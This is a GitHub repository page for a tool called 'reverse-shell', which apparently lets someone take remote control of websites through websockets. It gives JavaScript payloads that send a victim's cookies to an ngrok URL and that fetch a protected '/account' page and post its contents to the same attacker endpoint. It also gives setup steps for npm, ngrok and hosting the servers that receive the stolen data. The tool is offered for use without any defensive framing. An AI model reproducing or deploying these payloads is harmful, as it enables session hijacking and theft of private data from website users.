Skip to content

A reverse shell for controlling any website via websockets with a built-in HTTP server so you can receive data.

License

Notifications You must be signed in to change notification settings

errorfiathck/reverse-shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

about shell

A reverse shell for controlling any website via websockets with a built-in HTTP server so you can receive data.

Capture user cookies

fetch(`https://ngrok-url?cookie=${encodeURIComponent(document.cookie)}`)

Capture protected page or data

fetch('/account)
    .then(p => p.text())
    .then(t =>
        fetch('https://ngrok-url', {
          method: "POST",
          headers: { 'Content-Type':'application/json' },
          body: JSON.stringify({p:t})
        })
) 

Running the servers

The first step is to install depencencies:

npm install

Then you can run the regular HTTP server (CORS enabled):

npm run http

Or the websocket server:

npm run ws

HTTPS/WSS/External access

You can use ngrok to connect via HTTPS, WSS or externally without changing any configuration. https://dashboard.ngrok.com/get-started

Once it's installed, you can then expose the HTTP server:

ngrok http 8000

Or the Websocket server:

ngrok http 8080

Just use wss://ngrok-url instead of https://ngrok-url for wss connections
if you dont want to use ngrok you can host them on heroku or vercel but insted of console.log write to a log file

About

A reverse shell for controlling any website via websockets with a built-in HTTP server so you can receive data.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published